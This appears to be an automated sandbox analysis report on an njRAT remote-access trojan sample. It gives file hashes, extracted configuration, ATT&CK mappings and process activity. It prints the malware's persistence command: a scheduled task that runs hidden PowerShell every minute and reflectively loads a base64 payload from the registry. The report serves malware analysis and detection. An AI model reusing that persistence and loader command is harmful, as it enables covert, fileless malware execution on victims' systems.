njrat | f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257

General

Target

f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257.exe
Size

269KB
MD5

3ca79ae3cffbbe1a16276e6b6d9d075e
SHA1

1ed1cccc911ad67252a7b1c72d046dfb8042ec34
SHA256

f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257
SHA512

a011c4fade25ba3a640150ab9fbcf8ef8b0ed97ffa25fccecac2e992f3189e5b3014396c46986db43387ff6dcb0d522185c9d9aa36b4e8e602bba54779add9af

Score

10^/10

njrat hack.eg trojan

Malware Config

Extracted

Family

njrat

Version

0.7d

Botnet

HacK.EG

C2

127.0.0.1:5552

Mutex

295d0085fbaaab25f54bc24d79ea3c7d

Attributes

reg_key
295d0085fbaaab25f54bc24d79ea3c7d
splitter
|'|'|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2072 schtasks.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.EXE

pid process

3648 powershell.EXE
3648 powershell.EXE
3648 powershell.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.EXE

description pid process

Token: SeDebugPrivilege 3648 powershell.EXE

pid	process
2072	schtasks.exe

pid	process
3648	powershell.EXE
3648	powershell.EXE
3648	powershell.EXE

description	pid	process
Token: SeDebugPrivilege	3648	powershell.EXE

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257.exe

description	pid	process	target process
PID 2504 wrote to memory of 2072	2504	f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257.exe	schtasks.exe
PID 2504 wrote to memory of 2072	2504	f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257.exe	schtasks.exe
PID 2504 wrote to memory of 2072	2504	f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257.exe
"C:\Users\Admin\AppData\Local\Temp\f5564113679c153eede888e94c38cd488d9db13f6659adfe37b627329fd8d257.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2504

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 1 /tn "Test" /tr "powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [Reflection.Assembly]::Load([System.Convert]::Frombase64String((Get-ItemProperty HKCU:\Software).Values)).EntryPoint.Invoke($null,$null)::[Reflection.Assembly]"
2⤵
- Creates scheduled task(s)
PID:2072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [Reflection.Assembly]::Load([System.Convert]::Frombase64String((Get-ItemProperty HKCU:\Software).Values)).EntryPoint.Invoke($null,$null)::[Reflection.Assembly]
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3648

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2072-118-0x0000000000000000-mapping.dmp

Download
memory/2504-115-0x00000000004F0000-0x00000000004F1000-memory.dmp

Filesize
4KB

Download
memory/2504-117-0x0000000004E30000-0x0000000004E31000-memory.dmp

Filesize
4KB

Download
memory/3648-123-0x0000023CE38D0000-0x0000023CE38D1000-memory.dmp

Filesize
4KB

Download
memory/3648-124-0x0000023CE3990000-0x0000023CE3992000-memory.dmp

Filesize
8KB

Download
memory/3648-125-0x0000023CE3993000-0x0000023CE3995000-memory.dmp

Filesize
8KB

Download
memory/3648-144-0x0000023CE3CD0000-0x0000023CE3CD1000-memory.dmp

Filesize
4KB

Download
memory/3648-155-0x0000023CE4030000-0x0000023CE4031000-memory.dmp

Filesize
4KB

Download
memory/3648-160-0x0000023CE3940000-0x0000023CE3946000-memory.dmp

Filesize
24KB

Download
memory/3648-173-0x0000023CE3996000-0x0000023CE3998000-memory.dmp

Filesize
8KB

Download
memory/3648-174-0x0000023CE3998000-0x0000023CE3999000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads